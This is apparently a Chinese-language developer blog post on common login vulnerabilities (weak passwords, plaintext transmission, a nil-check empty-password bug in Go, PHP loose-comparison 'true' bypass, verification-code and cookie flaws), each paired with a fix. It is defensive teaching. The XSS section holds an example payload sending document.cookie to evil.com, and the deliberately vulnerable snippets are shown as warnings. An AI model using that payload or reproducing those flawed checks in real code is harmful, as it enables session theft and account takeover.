登入是大部分網站都具備的一個功能,作為使用者使用系統的第一步,如果登陸邏輯設計不合理,容易被攻擊者利用,造成安全問題。
密碼洩漏
弱口令
相信大家都知道弱口令是什麼意思,使用者為了方便,一般會使用123456、admin、passwd、password、123qwe等這些作為自己的常用密碼,方便好記。黑客會對這些人們常用的密碼建立破譯字典,逐個嘗試進行破解。另外,也建議大家不要用生日、手機號、姓名等相關資訊作為密碼,黑客在進行暴力破解前,會先收集使用者的這些相關資訊,錄入破譯字典中。
在Have I Been Pwned上可以查到,"123456"這個密碼已經被使用了24,230,577
次
解決辦法
最直接的解決辦法,當然就是使用者自己設定複雜的密碼了。但是我們也應該從開發的角度提高安全性。
強制提高密碼強度
程式規定密碼強度規則,使用者設定密碼時,判斷密碼的強度是否符合要求,不符合拒絕設定。
限制登陸頻率
暴力破解原理是用破譯欄位裡的密碼不斷嘗試登陸,我們可以程式控制登入頻率,比如1分鐘限制5次嘗試登陸,超過這個次數後,再嘗試登陸需要手機號/郵箱驗證碼。提高暴力破解的難度。
密碼明文傳輸
使用者請求登陸時,將使用者的賬號和密碼通過明文的方式直接傳輸到服務端,黑客利用中間人攻擊等手段,就能容易截獲到使用者的賬號密碼。
解決辦法
客戶端和服務端之間的連線使用https加密傳輸。避免傳輸資料被第三方獲取。
程式碼邏輯漏洞
空密碼登入
密碼輸錯登陸失敗,不輸密碼直接登陸進去了,乍一看不可思議,但確實有這種情況。
func Login(ctx context.Context, userID string, passwdInput *PasswdInfo) (err error) {
if passwdInput != nil && !passwordChk(userID, passwdInput.password) {
return errors.New("密碼錯誤")
}
// 成功通過
...
}
大家別笑,真有遇到過這種程式碼, 可能是由於之前出現過passwdInput傳入nil導致程式碼直接panic了,修改時沒注意看邏輯,直接加了一層檢查nil的判斷,導致漏洞的出現。
"萬能密碼" - true
寫PHP的同學肯定都瞭解"=="和"==="的區別。
if($passwdFromDb == $passwdInput)
{
// 登陸成功
}
上面程式碼,如果passwdInput傳入true
,就能校驗通過了。導致"萬能密碼"。所以同學們寫的時候別吝嗇那個"=",說不定能救你一命。
驗證碼漏洞
如今,登陸、修改密碼越來越多都依賴手機/郵箱驗證碼了,有些甚至可以賬號/手機號 + 驗證碼
的免密登陸,驗證碼控制不當也會是一個漏洞重災區。
驗證碼暴力破解
當登陸/修改密碼時,服務端向我們手機傳送一個6位的驗證碼。如果服務端沒有對驗證碼做任何限制。攻擊者就能對驗證碼進行暴力嘗試。
處理辦法
- 對驗證碼嘗試次數/頻率進行限制
- 控制驗證碼的有效期
A的驗證碼,修改B的使用者資訊
A修改使用者資訊時,需要驗證碼校驗。後端將使用者會話token當成key,value為驗證碼,在redis中儲存。校驗時,只通過token校驗驗證碼,不校驗要修改資訊的目標賬號,比如A在修改引數中的userID = B,就會導致修改了B的使用者資訊。造成漏洞。
解決辦法
注意驗證碼與目標賬號身份的匹配。
cookie漏洞
cookie是用於客戶端儲存會話狀態的,使用不加註意容易導致漏洞產生。
使用cookie進行身份驗證
- 介面通過請求頭中cookie的userID判斷使用者身份。可以直接修改cookie中的userID欄位,偽造成任意其他使用者。
- 介面通過請求頭中cookie的role欄位判斷使用者許可權,可以直接修改前端cookie中的role欄位,對使用者進行提權。
解決辦法
使用服務端的session儲存使用者資訊,介面進行身份驗證時,可以通過cookie中的sessionID欄位,找到對應session內容,獲取到使用者資訊,再進行後續判斷。
cookie未設定httponly
xss攻擊是一種程式碼注入攻擊,攻擊者在網站上注入惡意程式碼,使之在使用者訪問網站時執行,從而獲取使用者的敏感資訊。 注入惡意程式碼
並不需要直接改網站原始碼,比如使用者在一個評論區寫下
<script src=“http://evil.com” + escape(document.cookie)>
而程式沒有對輸入內容進行程式碼字元轉義。其他人開啟評論區時,就會自動執行這段惡意程式碼,將自己的cookie內容傳送到http://evil.com
,導致cookie的洩漏。
當使用session儲存使用者資訊時,cookie中存放著sessionID,後端介面根據sessionID對應的session進行使用者身份校驗。如果cookie中的sessionID被攻擊者獲取,即可以偽造受害者身份登陸網站。
處理辦法
開啟cookie的httponly屬性,開啟後,無法通過js指令碼讀取到cookie資訊。可以有效防止xss攻擊竊取cookie內容。
大家還知道其他的什麼登陸漏洞,歡迎分享探討~
寫在最後
喜歡本文的朋友,歡迎關注公眾號「會玩code」,專注大白話分享實用技術